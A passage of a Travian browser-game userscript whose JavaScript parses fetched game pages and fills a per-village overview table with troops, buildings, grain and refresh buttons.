i++)\n\t\t\t{\n\t\t\t\ttimes.push(a.firstChild.childNodes[i].childNodes[2].textContent.split(\" \")[0]);\n\t\t\t\tb[i] = '<nobr><img src=\"' + img('a/bau.gif') + '\" title=\"' + a.firstChild.childNodes[i].childNodes[1].innerHTML + '\"/> <span id=\"timeouta\">' + a.firstChild.childNodes[i].childNodes[2].textContent.split(\" \")[0] + \"</span></nobr>\";\n\t\t\t}\n\t\t\tcasilla.innerHTML = b.join(\" \");\n\t\t}\n\t\telse\n\t\t\tcasilla.innerHTML = '-';\n\n\t\t// Tropas\n\t\tvar casilla = find(\"//td[@id='aldea\" + did + \"_2\" + \"']\", XPFirst);\n\t\tvar a = ansdoc.evaluate(\"//div[@id='ltrm']//table[@class='f10']\", ans, null, XPFirst, null).singleNodeValue.firstChild;\n\t\tif (a.firstChild.childNodes.length == 3)\n\t\t{\n\t\t\tvar b = new Array();\n\t\t\tfor (var i = 0; i < a.childNodes.length; i++)\n\t\t\t{\n\t\t\t\tvar tr = a.childNodes[i];\n\t\t\t\ttr.childNodes[0].firstChild.firstChild.setAttribute(\"title\", tr.childNodes[2].innerHTML + \" \" + tr.childNodes[1].innerHTML.split(\">\")[1].split(\"<\")[0]);\n\t\t\t\tb[i] = '<nobr>' + tr.childNodes[0].firstChild.innerHTML + '</nobr>';\n\t\t\t}\n\t\t\tcasilla.innerHTML = b.join(\"\");\n\t\t}\n\t\telse\n\t\t\tcasilla.innerHTML = '-';\n\n\n\t\tfind(\"//img[@id='aldea\" + did + \"_boton']\", XPFirst).src = img('a/b2.gif');\n\t\tfind(\"//span[@class='c2']\", XPFirst).removeAttribute(\"class\");\n\t\tfind(\"//a[contains(@href, '\" + did + \"') and ancestor::div[@id='lright1']]\", XPFirst).parentNode.firstChild.className = 'c2';\n\t\t// FIXME: Firefox rendering bug\n\t\tcasilla.parentNode.setAttribute(\"style\", \"width:100%\");\n\t}\n\n\tfunction procesarTropas(t)\n\t{\n\n\t\tvar ansdoc = document.implementation.createDocument(\"\", \"\", null);\n\t\tvar ans = $elem('DIV', t.responseText, {}, {}, ansdoc);\n\t\tvar a = ''\n\t\t// ID de aldea\n\t\ttry\n\t\t{\tansdoc.evaluate(\"//a[@class='active_vl']\", ans, null, XPFirst, null).singleNodeValue.getAttribute(\"href\").search(/\\?newdid=(\\d+)/);\n\t\t\tvar did = RegExp.$1;\n\t\t}\n\t\tcatch(e)\n\t\t{\tvar did = lonelyTownNEWDID;\n\t\t}\n\t\tvar times = new Array();\n\n\t\tfind(\"//td[@id='aldea\" + did + \"_0\" + \"']\", XPFirst).innerHTML = a;\n\t\t// Tropas complet\n\t\tvar casilla = find(\"//td[@id='aldea\" + did + \"_0\" + \"']\", XPFirst); //class=\"b f16\"\n\t\tvar a = ansdoc.evaluate(\"//div[@id='ltrm']//table[@class='f10']\", ans, null, XPFirst, null).singleNodeValue.firstChild;\n\t\tif (a.firstChild.childNodes.length == 3)\n\t\t{\n\t\t\tvar b = new Array();\n\t\t\tfor (var i = 0; i < a.childNodes.length; i++)\n\t\t\t{\n\t\t\t\tvar tr = a.childNodes[i];\n\t\t\t\ttr.childNodes[0].firstChild.firstChild.setAttribute(\"title\", tr.childNodes[2].innerHTML);\n\t\t\t\tb[i] = '<nobr>' + tr.childNodes[0].firstChild.innerHTML + '<span style=\"font-size:13px\">' + tr.childNodes[1].innerHTML + '</nobr>';\n\t\t\t}\n\t\t\tcasilla.innerHTML = b.join(\" | \");\n\t\t}\n\t\telse\n\t\t\tcasilla.innerHTML = '-';\n\n\t\tfind(\"//td[@id='aldea\" + did + \"_1\" + \"']\", XPFirst).innerHTML = '<a href=\"build.php?gid=16&newdid=' + did + '\"><img src=\"' + img('/a/b4.gif') + '\" width=\"5\" ></a>';\n\n\t\t\t// céréale\n\t\t{\n\t\t\tvar a = '';\n\t\t\tfor (var i = 4; i < 5; i++)\n\t\t\t{\n\t\t\t\tvar b = get(\"l\" + (5 - i), ansdoc);\n\t\t\t\tvar perc = Math.round((b.title.split(\"/\")[0] * 100) / b.title.split(\"/\")[1]);\n\t\t\t\tvar cant = b.innerHTML.split(\"/\")[0];\n\t\t\t\tvar color = '';\n\t\t\t\tif (b.title < 0)\n\t\t\t\t{\n\t\t\t\t\tcolor = '<font color=red>';\n\t\t\t\t}\n\t\t\t\tif (b.title > 0)\n\t\t\t\t{\n\t\t\t\t\tcolor = '<font color=gray>';\n\t\t\t\t}\n\t\t\t\tvar c = '';\n\t\t\t\tc += color + '<span style=\"font-size:13px\">' + b.title;\n\t\t\t\ta += '<nobr>' + c + '</nobr>';\n\t\t\t}\n\t\t\tfind(\"//td[@id='aldea\" + did + \"_2\" + \"']\", XPFirst).innerHTML = a;\n\t\t}\n\n\t\tfind(\"//img[@id='aldea\" + did + \"_boton']\", XPFirst).src = img('a/b2.gif');\n\t\tfind(\"//span[@class='c2']\", XPFirst).removeAttribute(\"class\");\n\t\tfind(\"//a[contains(@href, '\" + did + \"') and ancestor::div[@id='lright1']]\", XPFirst).parentNode.firstChild.className = 'c2';\n\n\t\t// Auto Refresh\n\t\tif (times.length > 0)\n\t\t{\n\t\t\tvar time = Number.POSITIVE_INFINITY;\n\t\t\tfor (var i = 0; i < times.length; i++)\n\t\t\t{\n\t\t\t\ttimes[i] = calcular_segundos(times[i]);\n\t\t\t\tif (times[i] < time)\n\t\t\t\t\ttime = times[i];\n\t\t\t}\n\t\t}\n\t\t// FIXME: Firefox rendering bug\n\t\tcasilla.parentNode.setAttribute(\"style\", \"width:100%\");\n\t}\n\n\tfunction procesarPC(t)\n\t{\n\t\t// Carga la pagina resultado en un arbol DOM para hacer busquedas por XPath\n\t\tvar ansdoc = document.implementation.createDocument(\"\", \"\", null);\n\t\tvar ans = $elem('DIV', t.responseText, {}, {}, ansdoc);\n\n\t\t// ID de aldea\n\t\ttry\n\t\t{\tansdoc.evaluate(\"//a[@class='active_vl']\", ans, null, XPFirst, null).singleNodeValue.getAttribute(\"href\").search(/\\?newdid=(\\d+)/);\n\t\t\tvar did = RegExp.$1;\n\t\t}\n\t\tcatch(e)\n\t\t{\tvar did = lonelyTownNEWDID;\n\t\t}\n\n\t\t// info PC\n\t\tvar a = ansdoc.evaluate(\"//div[@id='lmid2']//b\", ans, null, XPFirst, null).singleNodeValue;\n\t\tif (a)\n\t\t{\n\t\t\tvar lvl = a.innerHTML.split(T('LVL'))[1].split(\"</b>\")[0];\n\t\t}\n\t\telse\n\t\t\tlvl = '';\n\t\tif (lvl)\n\t\t{\n\t\t\tvar b = ansdoc.evaluate(\"//table[@class='tbg']\", ans, null, XPFirst, null).singleNodeValue;\n\t\t\taldeis = b.innerHTML.split(\"(\").length;\n\t\t\tgg = $tags(\"a\", b).length;\n\t\t\tif (gg > 1)\n\t\t\t\thehe = $tags(\"a\", b)[1].innerHTML;\n\t\t\telse\n\t\t\t\thehe = \"-\";\n\t\t\tif (gg > 3)\n\t\t\t\thehe1 = $tags(\"a\", b)[3].innerHTML;\n\t\t\telse\n\t\t\t\thehe1 = \"-\";\n\t\t\tfind(\"//td[@id='aldea\" + did + \"_\" + 1 + \"']\", XPFirst).innerHTML = (aldeis - 1) + \"/\" + parseInt(lvl / 10);\n\t\t\tfind(\"//td[@id='aldea\" + did + \"_\" + 3 + \"']\", XPFirst).innerHTML = hehe;\n\t\t\tfind(\"//td[@id='aldea\" + did + \"_\" + 4 + \"']\", XPFirst).innerHTML = hehe1;\n\t\t\tfind(\"//td[@id='aldea\" + did + \"_\" + 2 + \"']\", XPFirst).innerHTML = '<a target=\"_blank\"; href=\"build.php?gid=25&newdid=' + did + '\"><img src=\"' + img('/a/b3.gif') + '\" width=\"5\" ></a>';\n\t\t\tfind(\"//td[@id='aldea\" + did + \"_\" + 0 + \"']\", XPFirst).innerHTML = lvl;\n\t\t}\n\n\t\tfind(\"//img[@id='aldea\" + did + \"_boton']\", XPFirst).src = img('a/b2.gif');\n\t}\n\n\n\n\tfunction procesarPCb(t)\n\t{\n\t\t// Carga la pagina resultado en un arbol DOM para hacer busquedas por XPath\n\t\tvar ansdoc = document.implementation.createDocument(\"\", \"\", null);\n\t\tvar ans = $elem('DIV', t.responseText, {}, {}, ansdoc);\n\n\t\t// ID de aldea\n\t\ttry\n\t\t{\tansdoc.evaluate(\"//a[@class='active_vl']\", ans, null, XPFirst, null).singleNodeValue.getAttribute(\"href\").search(/\\?newdid=(\\d+)/);\n\t\t\tvar did = RegExp.$1;\n\t\t}\n\t\tcatch(e)\n\t\t{\tvar did = lonelyTownNEWDID;\n\t\t}\n\n\t\t// info PC\n\t\tvar a = ansdoc.evaluate(\"//div[@id='lmid2']//b\", ans, null, XPFirst, null).singleNodeValue;\n\t\tif (a)\n\t\t{\n\t\t\tvar lvl = a.innerHTML.split(T('LVL'))[1].split(\"</b>\")[0];\n\t\t}\n\t\telse\n\t\t\tlvl = '';\n\t\tif (lvl)\n\t\t{\n\t\t\tvar b = ansdoc.evaluate(\"//table[@class='tbg']\", ans, null, XPFirst, null).singleNodeValue;\n\t\t\taldeis = b.innerHTML.split(\"(\").length;\n\t\t\tgg = $tags('a', b).length;\n\t\t\tif (gg > 1)\n\t\t\t\thehe = $tags('a', b)[1].innerHTML;\n\t\t\telse\n\t\t\t\thehe = \"-\";\n\t\t\tif (gg > 3)\n\t\t\t\thehe1 = $tags('a', b)[3].innerHTML;\n\t\t\telse\n\t\t\t\thehe1 = \"-\";\n\t\t\tif (gg > 5)\n\t\t\t\thehe2 = $tags('a', b)[5].innerHTML;\n\t\t\telse\n\t\t\t\thehe2 = \"-\";\n\t\t\tfind(\"//td[@id='aldea\" + did + \"_\" + 1 + \"']\", XPFirst).innerHTML = (aldeis - 1) + \"/\" + (parseInt(lvl / 5) - 1);\n\t\t\tfind(\"//td[@id='aldea\" + did + \"_\" + 3 + \"']\", XPFirst).innerHTML = hehe;\n\t\t\tfind(\"//td[@id='aldea\" + did + \"_\" + 4 + \"']\", XPFirst).innerHTML = hehe1;\n\t\t\tfind(\"//td[@id='aldea\" + did + \"_\" + 5 + \"']\", XPFirst).innerHTML = hehe2;\n\t\t\tfind(\"//td[@id='aldea\" + did + \"_\" + 2 + \"']\", XPFirst).innerHTML = '<a target=\"_blank\"; href=\"build.php?gid=26&newdid=' + did + '\"><img src=\"' + img('/a/b4.gif') + '\" width=\"5\" ></a>';\n\t\t\tfind(\"//td[@id='aldea\" + did + \"_\" + 0 + \"']\", XPFirst).innerHTML = lvl;\n\t\t}\n\n\t\tfind(\"//img[@id='aldea\" + did + \"_boton']\", XPFirst).src = img('a/b2.gif');\n\t}\n\n\tfunction procesarPF(t)\n\t{\n\t\t// Carga la pagina resultado en un arbol DOM para hacer busquedas por XPath\n\t\tvar ansdoc = document.implementation.createDocument(\"\", \"\", null);\n\t\tvar ans = $elem('DIV', t.responseText, {}, {}, ansdoc);\n\n\t\t// ID de aldea\n\t\ttry\n\t\t{\tansdoc.evaluate(\"//a[@class='active_vl']\", ans, null, XPFirst, null).singleNodeValue.getAttribute(\"href\").search(/\\?newdid=(\\d+)/);\n\t\t\tvar did = RegExp.$1;\n\t\t}\n\t\tcatch(e)\n\t\t{\tvar did = lonelyTownNEWDID;\n\t\t}\n\n\t\t// info fete\n\t\tvar a = ansdoc.evaluate(\"//div[@id='lmid2']//b\", ans, null, XPFirst, null).singleNodeValue;\n\t\tif (a)\n\t\t{\n\t\t\tvar lvl = a.innerHTML.split(T('LVL'))[1].split(\"</b>\")[0];\n\t\t}\n\t\telse\n\t\t\tlvl = '';\n\t\tif (lvl)\n\t\t{\n\t\t\tvar b = ansdoc.evaluate(\"//table[@class='tbg']\", ans, null, XPFirst, null).singleNodeValue;\n\t\t\taldeis = b.innerHTML.split(\"(\").length;\n\t\t\tgg = $tags('a', b).length;\n\t\t\tif (gg > 1)\n\t\t\t\thehe = $tags('a', b)[1].innerHTML;\n\t\t\telse\n\t\t\t\thehe = \"-\";\n\t\t\tif (gg > 3)\n\t\t\t\thehe1 = $tags('a', b)[3].innerHTML;\n\t\t\telse\n\t\t\t\thehe1 = \"-\";\n\t\t\tfind(\"//td[@id='aldea\" + did + \"_\" + 1 + \"']\", XPFirst).innerHTML = '<a target=\"_blank\"; href=\"build.php?gid=24&newdid=' + did + '\">' + hehe + '</a>';\n\t\t\tfind(\"//td[@id='aldea\" + did + \"_\" + 2 + \"']\", XPFirst).innerHTML = '<a target=\"_blank\"; href=\"build.php?gid=24&newdid=' + did + '\">' + hehe1 + '</a>';\n\t\t}\n\t\telse\n\t\t\tlvl = '-';\n\t\tfind(\"//td[@id='aldea\" + did + \"_\" + 0 + \"']\", XPFirst).innerHTML = lvl;\n\n\t\tfind(\"//img[@id='aldea\" + did + \"_boton']\", XPFirst).src = img('a/b2.gif');\n\t}\n\n\tfunction procesarMA(t)\n\t{\n\t\t// Carga la pagina resultado en un arbol DOM para hacer busquedas por XPath\n\t\tvar ansdoc = document.implementation.createDocument(\"\", \"\", null);\n\t\tvar ans = $elem('DIV', t.responseText, {}, {}, ansdoc);\n\n\t\t// ID de aldea\n\t\ttry\n\t\t{\tansdoc.evaluate(\"//a[@class='active_vl']\", ans, null, XPFirst, null).singleNodeValue.getAttribute(\"href\").search(/\\?newdid=(\\d+)/);\n\t\t\tvar did = RegExp.$1;\n\t\t}\n\t\tcatch(e)\n\t\t{\tvar did = lonelyTownNEWDID;\n\t\t}\n\n\t\t// info manoir\n\t\tvar a = ansdoc.evaluate(\"//div[@id='lmid2']//b\", ans, null, XPFirst, null).singleNodeValue;\n\t\tif (a)\n\t\t{\n\t\t\tvar lvl = a.innerHTML.split(T('LVL'))[1].split(\"</b>\")[0];\n\t\t}\n\t\telse\n\t\t\tlvl = '';\n\t\tif (lvl)\n\t\t{\n\t\t\tvar b = ansdoc.evaluate(\"//table[@class='tbg']\", ans, null, XPFirst, null).singleNodeValue;\n\t\t\tif (b)\n\t\t\t{\n\t\t\t\taldeis = b.innerHTML.split(\"(\").length;\n\t\t\t\tgg = $tags('a', b).length;\n\t\t\t\tif (gg > 1)\n\t\t\t\t\thehe = $tags('a', b)[1].innerHTML;\n\t\t\t\telse\n\t\t\t\t\thehe = \"-\";\n\t\t\t\tif (gg > 3)\n\t\t\t\t\thehe1 = $tags('a', b)[3].innerHTML;\n\t\t\t\telse\n\t\t\t\t\thehe1 = \"-\";\n\t\t\t\tif (gg > 5)\n\t\t\t\t\thehe2 = $tags('a', b)[5].innerHTML;\n\t\t\t\telse\n\t\t\t\t\thehe2 = \"-\";\n\t\t\t\tfind(\"//td[@id='aldea\" + did + \"_\" + 1 + \"']\", XPFirst).innerHTML = (aldeis - 1) + \"/\" + (parseInt(lvl / 5) - 1);\n\t\t\t\tfind(\"//td[@id='aldea\" + did + \"_\" + 3 + \"']\", XPFirst).innerHTML = hehe;\n\t\t\t\tfind(\"//td[@id='aldea\" + did + \"_\" + 4 + \"']\", XPFirst).innerHTML = hehe1;\n\t\t\t\tfind(\"//td[@id='aldea\" + did + \"_\" + 5 + \"']\", XPFirst).innerHTML = hehe2;\n\t\t\t}\n\t\t\tfind(\"//td[@id='aldea\" + did + \"_\" + 2 + \"']\", XPFirst).innerHTML = '<a target=\"_blank\"; href=\"build.php?gid=37&newdid=' + did + '\"><img src=\"' + img('/a/b4.gif') + '\" width=\"5\" ></a>';\n\t\t\tfind(\"//td[@id='aldea\" + did + \"_\" + 0 + \"']\", XPFirst).innerHTML = lvl;\n\t\t}\n\n\t\tfind(\"//img[@id='aldea\" + did + \"_boton']\", XPFirst).src = img('a/b2.gif');\n\t}\n\n\tfunction procesarT(t)\n\t{\n\t\tvar ansdoc = document.implementation.createDocument(\"\", \"\", null);\n\t\tvar ans = $elem('DIV', t.responseText, {}, {}, ansdoc);\n\t\tvar a = ''\n\t\t// ID de aldea\n\t\ttry\n\t\t{\tansdoc.evaluate(\"//a[@class='active_vl']\", ans, null, XPFirst, null).singleNodeValue.getAttribute(\"href\").search(/\\?newdid=(\\d+)/);\n\t\t\tvar did = RegExp.$1;\n\t\t}\n\t\tcatch(e)\n\t\t{\tvar did = lonelyTownNEWDID;\n\t\t}\n\t\tvar times = new Array();\n\n\t\t// Ataques\n\t\tvar casilla = find(\"//td[@id='aldea\" + did + \"_\" + 1 + \"']\", XPFirst);\n\t\tvar a = ansdoc.evaluate(\"//div[@id='ltbw1']//table[@class='f10']\", ans, null, XPFirst, null).singleNodeValue;\n\t\tif (!a)\n\t\t\t\tvar a = ansdoc.evaluate(\"//div[@id='ltbw0']//table[@class='f10']\", ans, null, XPFirst, null).singleNodeValue;\n\t\tif (a)\n\t\t{\n\t\t\t\tvar a = a.firstChild;\n\t\t\t\tvar b = new Array();\n\t\t\t\tfor (var i = 0; i < a.childNodes.length; i++)\n\t\t\t\t{\n\t\t\t\t\tvar tr = a.childNodes[i];\n\t\t\t\t\t// FIXME: Apanyo para FF. Firefox mete nodos vacios\n\t\t\t\t\tvar error = (tr.childNodes.length == 5 ? false : true);\n\t\t\t\t\ttimes.push(tr.childNodes[error ? 9 : 4].textContent.split(\" \")[0]);\n\t\t\t\t\tb[i] = '<nobr><a href=\"build.php?newdid=' + did + '&gid=16\" title=\"' + tr.childNodes[error ? 3 : 1].textContent.split(\" \")[1] + '\">' + tr.childNodes[error ? 1 : 0].firstChild.innerHTML + \"</a> <span style='font-size:10px; color:#2F4F4F' id='timeouta'>\" + tr.childNodes[error ? 9 : 4].textContent.split(\" \")[0] + '</span></nobr>';\n\t\t\t\t}\n\t\t\t\tcasilla.innerHTML = b.join(\"|\");\n\t\t}\n\t\telse\n\t\t\t\tcasilla.innerHTML = '-';\n\n\t\t// Construcciones\n\t\tvar casilla = find(\"//td[@id='aldea\" + did + \"_\" + 2 + \"']\", XPFirst);\n\t\tvar a = ansdoc.evaluate(\"//div[@id='lbau1']//table[@class='f10']\", ans, null, XPFirst, null).singleNodeValue;\n\t\tif (a)\n\t\t{\n\t\t\t\tvar b = new Array();\n\t\t\t\tfor (var i = 0; i < a.firstChild.childNodes.length; i++)\n\t\t\t\t{\n\t\t\t\t\ttimes.push(a.firstChild.childNodes[i].childNodes[2].textContent.split(\" \")[0]);\n\t\t\t\t\tb[i] = '<nobr><img src=\"' + img('a/bau.gif') + '\" width=\"9\" border=\"0\" title=\"' + a.firstChild.childNodes[i].childNodes[1].innerHTML + '\"/> <span style=\"font-size:10px; color:#2F4F4F\" id=\"timeouta\">' + a.firstChild.childNodes[i].childNodes[2].textContent.split(\" \")[0] + \"</span></nobr>\";\n\t\t\t\t}\n\t\t\t\tcasilla.innerHTML = b.join(\"|\");\n\t\t}\n\t\telse\n\t\t\t\tcasilla.innerHTML = '-';\n\n\t\t// Tropas\n\t\tvar casilla = find(\"//td[@id='aldea\" + did + \"_\" + 3 + \"']\", XPFirst);\n\t\tvar a = ansdoc.evaluate(\"//div[@id='ltrm']//table[@class='f10']\", ans, null, XPFirst, null).singleNodeValue.firstChild;\n\t\tif (a.firstChild.childNodes.length == 3)\n\t\t{\n\t\t\tvar b = new Array();\n\t\t\tfor (var i = 0; i < a.childNodes.length; i++)\n\t\t\t{\n\t\t\t\tvar tr = a.childNodes[i];\n\t\t\t\ttr.childNodes[0].firstChild.firstChild.setAttribute(\"title\", tr.childNodes[2].innerHTML + \" \" + tr.childNodes[1].innerHTML.split(\">\")[1].split(\"<\")[0]);\n\t\t\t\tb[i] = '<nobr>' + tr.childNodes[0].firstChild.innerHTML + '</nobr>';\n\t\t\t}\n\t\t\tcasilla.innerHTML = b.join(\"\");\n\t\t}\n\t\telse\n\t\t\tcasilla.innerHTML = '-';\n\n\t\t\t// céréale\n\t\t{\n\t\t\tvar a = '';\n\t\t\tfor (var i = 4; i < 5; i++)\n\t\t\t{\n\t\t\t\tvar b = get(\"l\" + (5 - i), ansdoc);\n\t\t\t\tvar perc = Math.round((b.title.split(\"/\")[0] * 100) / b.title.split(\"/\")[1]);\n\t\t\t\tvar cant = b.innerHTML.split(\"/\")[0];\n\t\t\t\tvar color = '';\n\t\t\t\tif (b.title < 0)\n\t\t\t\t{\n\t\t\t\t\tcolor = '<font color=red>';\n\t\t\t\t}\n\t\t\t\tif (b.title > 0)\n\t\t\t\t{\n\t\t\t\t\tcolor = '<font color=gray>';\n\t\t\t\t}\n\t\t\t\tvar c = '';\n\t\t\t\tc += color + '<span style=\"font-size:10px\">' + b.title;\n\t\t\t\ta += '<nobr>' + c + '</nobr>';\n\t\t\t}\n\t\t\tfind(\"//td[@id='aldea\" + did + \"_\" + 4 + \"']\", XPFirst).innerHTML = a;\n\t\t}\n\n\t\t// Materias primas simplifié\n\t\tvar a = '';\n\t\tfor (var i = 4; i < 5; i++)\n\t\t{\n\t\t\tvar b = get(\"l\" + (5 - i), ansdoc);\n\t\t\tvar perc = Math.round((b.innerHTML.split(\"/\")[0] * 100) / b.innerHTML.split(\"/\")[1]);\n\t\t\tvar cant = b.innerHTML.split(\"/\")[0];\n\t\t\tvar color = '';\n\t\t\tif (perc > 0)\n\t\t\t{\n\t\t\t\tcolor = '<font color=green>';\n\t\t\t}\n\t\t\tif (perc > 10)\n\t\t\t{\n\t\t\t\tcolor = '<font color=black>';\n\t\t\t}\n\t\t\tif (perc > 69)\n\t\t\t{\n\t\t\t\tcolor = '<font color=orange>';\n\t\t\t}\n\t\t\tif (perc > 98)\n\t\t\t{\n\t\t\t\tcolor = '<font color=red>';\n\t\t\t}\n\t\t\tif (cant % 1000 == 0)\n\t\t\t\ttxt_cant = (cant / 1000) + \"k\";\n\t\t\telse\n\t\t\t\ttxt_cant = cant;\n\t\t\tvar c = '';\n\t\t\tc += '<img src=\"' + img('r/' + i + '.gif') + '\" width=\"14\" border=\"0\" title=\"' + T('RECURSO' + i) + '\">';\n\t\t\tc += '<span style=\"font-size:11px\" title=\"' + b.innerHTML + '\">' + color + perc + '%</span>';\n\t\t\ta += '<nobr>' + c + '</nobr>';\n\t\t\tif (i != 4)\n\t\t\t\ta += '<font color=#DCDCDC>' + \" | \" + '</font>';\n\t\t}\n\t\tfind(\"//td[@id='aldea\" + did + \"_\" + 5 + \"']\", XPFirst).innerHTML = a;\n\n\t\tfind(\"//img[@id='aldea\" + did + \"_boton']\", XPFirst).src = img('a/b2.gif');\n\n\t\t// Auto Refresh\n\t\tif (times.length > 0)\n\t\t{\n\t\t\tvar time = Number.POSITIVE_INFINITY;\n\t\t\tfor (var i = 0; i < times.length; i++)\n\t\t\t{\n\t\t\t\ttimes[i] = calcular_segundos(times[i]);\n\t\t\t\tif (times[i] < time)\n\t\t\t\t\ttime = times[i];\n\t\t\t}\n\t\t}\n\t\t// FIXME: Firefox rendering bug\n\t\tcasilla.parentNode.setAttribute(\"style\", \"width:100%\");\n\t}\n\n\tfunction procesarM(t)\n\t{\n\n\t\tvar ans = $elem(\"DIV\", t.responseText);\n\t\tvar ansdoc = document.implementation.createDocument(\"\", \"\", null);\n\t\tansdoc.appendChild(ans);\n\n\t\t// ID de aldea\n\t\ttry\n\t\t{\tansdoc.evaluate(\"//a[@class='active_vl']\", ans, null, XPFirst, null).singleNodeValue.getAttribute(\"href\").search(/\\?newdid=(\\d+)/);\n\t\t\tvar did = RegExp.$1;\n\t\t}\n\t\tcatch(e)\n\t\t{\tvar did = lonelyTownNEWDID;\n\t\t}\n\n\t\t// info marchand\n\t\tvar a = ansdoc.evaluate(\"//td[@colspan='2']\", ans, null, XPFirst, null).singleNodeValue;\n\t\tif (a)\n\t\t{\n\t\t\tvar lvl = a.innerHTML.split(T('MARC'))[1].split('<')[0];\n\t\t}\n\t\telse\n\t\t\tlvl = '';\n\n\t\tfind(\"//td[@id='aldea\" + did + \"_\" + 0 + \"']\", XPFirst).innerHTML = '<a style=\"font-size:9px\" href=\"build.php?gid=17&newdid=' + did + '\">' + lvl + '</a>';\n\n\t\tfind(\"//img[@id='aldea\" + did + \"_boton']\", XPFirst).src = img('a/b2.gif');\n\t}\n\n\tfunction procesarF(t)\n\t{\n\n\t\tvar ans = $elem(\"DIV\", t.responseText);\n\t\tvar ansdoc = document.implementation.createDocument(\"\", \"\", null);\n\t\tansdoc.appendChild(ans);\n\n\t\t// ID de aldea\n\t\ttry\n\t\t{\tansdoc.evaluate(\"//a[@class='active_vl']\", ans, null, XPFirst, null).singleNodeValue.getAttribute(\"href\").search(/\\?newdid=(\\d+)/);\n\t\t\tvar did = RegExp.$1;\n\t\t}\n\t\tcatch(e)\n\t\t{\tvar did = lonelyTownNEWDID;\n\t\t}\n\n\t\t// info fete\n\t\tvar a = ansdoc.evaluate(\"//div[@id='lmid2']//b\", ans, null, XPFirst, null).singleNodeValue;\n\t\tif (a)\n\t\t{\n\t\t\tvar lvl = a.innerHTML.split(T('LVL'))[1].split(\"</b>\")[0];\n\t\t}\n\t\telse\n\t\t\tlvl = '';\n\t\tif (lvl)\n\t\t{\n\t\t\tvar b = ansdoc.evaluate(\"//table[@class='tbg']\", ans, null, XPFirst, null).singleNodeValue;\n\t\t\taldeis = b.innerHTML.split(\"(\").length;\n\t\t\tgg = $tags('a', b).length;\n\t\t\tif (gg > 1)\n\t\t\t\thehe = $tags('a', b)[1].innerHTML;\n\t\t\telse\n\t\t\t\thehe = \"-\";\n\t\t\tif (gg > 3)\n\t\t\t\thehe1 = $tags('a', b)[3].innerHTML;\n\t\t\telse\n\t\t\t\thehe1 = \"-\";\n\t\t\tfind(\"//td[@id='aldea\" + did + \"_\" + 6 + \"']\", XPFirst).innerHTML = '<a target=\"_blank\"; href=\"build.php?gid=24&newdid=' + did + '\"><img src=\"' + img('/u/geb.gif') + '\" width=\"8\" title=\"' /* + lvl + ' / '*/ + hehe + ' / ' + hehe1 + '\"></a>';\n\t\t}\n\t\telse\n\t\t\tlvl = '';\n\n\t\tfind(\"//img[@id='aldea\" + did + \"_boton']\", XPFirst).src = img('a/b2.gif');\n\t}\n\n\tfunction resumenAldeas()\n\t{ // par Mik french\n\t\tvar ba = find(\"//div[@id='lright1']\", XPFirst);\n\t\tif (!ba)\n\t\t\treturn;\n\n\t\tif (travplus == false || travplus == null)\n\t\t\tresumomenu();\n\n\t\tvar aldeas = $tags('a', ba);\n\t\tvar a = find(\"//div[@id='lmid2']\", XPFirst);\n\n\t\tvar tabla = $elem(\"TABLE\", \"\", {\n\t\t\t\t\"class\": \"tbg\",\n\t\t\t\t\"align\": \"center\",\n\t\t\t\t\"cellspacing\": 1,\n\t\t\t\t\"cellpadding\": 2\n\t\t\t});\n\n\t\tvar tr = $elem(\"TR\");\n\n\t\t/**\n\t\t * TeYoU\n\t\t * Vue d'ensemble pages message Refresh\n\t\t */\n\t\tvar FullRefresh = $elem(\"A\", '<font color=#FF0000>' + T('REFRESH_INFORMARION') + '</font>');\n\t\tFullRefresh.href = \"javascript:void(0);\";\n\t\tFullRefresh.addEventListener(\"mouseover\", function()\n\t\t{\n\t\t\t//Cliquez automatique\n\t\t\tvar aldeas = $tags('a', ba);\n\t\t\tfor (var i = 0; i < aldeas.length; i++)\n\t\t\t{\n\t\t\t\tif (aldeas[i].getAttribute(\"href\").search(/\\?newdid=(\\d+)/) >= 0)\n\t\t\t\t{\n\t\t\t\t\tvar did = RegExp.$1;\n\t\t\t\t\tsetTimeout(crearEventoActualizarAldea(did), 1000 * 1);\n\t\t\t\t}\n\t\t\t}\n\t\t}, 0);\n\t\ttr.appendChild(FullRefresh);\n\n\t\tvar td2 = $elem(\"TD\", T('RESUMEN'));\n\t\ttd2.setAttribute(\"colspan\", \"2\");\n\t\ttr.appendChild(td2);\n\t\ttr.setAttribute(\"class\", \"rbg\");\n\t\ttabla.appendChild(tr);\n\n\t\tfor (var i = 0; i < aldeas.length; i++)\n\t\t{\n\t\t\tif (aldeas[i].getAttribute(\"href\").search(/\\?newdid=(\\d+)/) >= 0)\n\t\t\t{\n\t\t\t\tvar did = RegExp.$1;\n\t\t\t\tvar tr = $elem(\"TR\");\n\n\t\t\t\tvar td = $elem(\"TD\");\n\t\t\t\t//TeYoU: Vue d'ensemble bouton jaune\n\t\t\t\tvar enlace = $elem(\"A\", \"<img src='\" +/*Bouton gris */ img('a/b5.gif') + \"' width='6' border='0' title='\" + T('ACTUALIZAR') + \"' id='aldea\" + did + \"_boton'>\");\n\t\t\t\tenlace.href = \"javascript:void(0);\";\n\t\t\t\tenlace.addEventListener(\"mouseover\", crearEventoActualizarAldea(did), 0);\n\t\t\t\tvar nobr = $elem(\"NOBR\");\n\t\t\t\tnobr.appendChild(enlace);\n\t\t\t\tnobr.appendChild($elem(\"SPAN\", ' <a style=\"font-size:14px\" href=\"dorf1.php?newdid=' + did + '\">' + aldeas[i].innerHTML + '</a>'));\n\t\t\t\ttd.appendChild(nobr);\n\t\t\t\ttd.setAttribute(\"rowspan\", \"2\");\n\t\t\t\ttd.setAttribute(\"align\", \"left\");\n\t\t\t\ttr.appendChild(td);\n\n\t\t\t\t//\tVue d'ensemble des ressources\n\t\t\t\tfor (var j = 0; j < 3; j++)\n\t\t\t\t{\n\t\t\t\t\tif (j != 2 && j != 0)\n\t\t\t\t\t\ttr = $elem(\"TR\");\n\t\t\t\t\ttd = $elem(\"TD\", \"-\");\n\t\t\t\t\ttd.setAttribute(\"id\", \"aldea\" + did + \"_\" + j);\n\t\t\t\t\ttd.setAttribute(\"align\", \"center\");\n\t\t\t\t\tif (j != 1 && j != 2)\n\t\t\t\t\t\ttd.setAttribute(\"width\", \"100%\");\n\t\t\t\t\tif (j == 0)\n\t\t\t\t\t\ttd.setAttribute(\"colspan\", \"2\");\n\t\t\t\t\telse\n\t\t\t\t\t\tif (j != 0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\ttd.setAttribute(\"style\", \"border-bottom-style: solid; border-bottom-width: 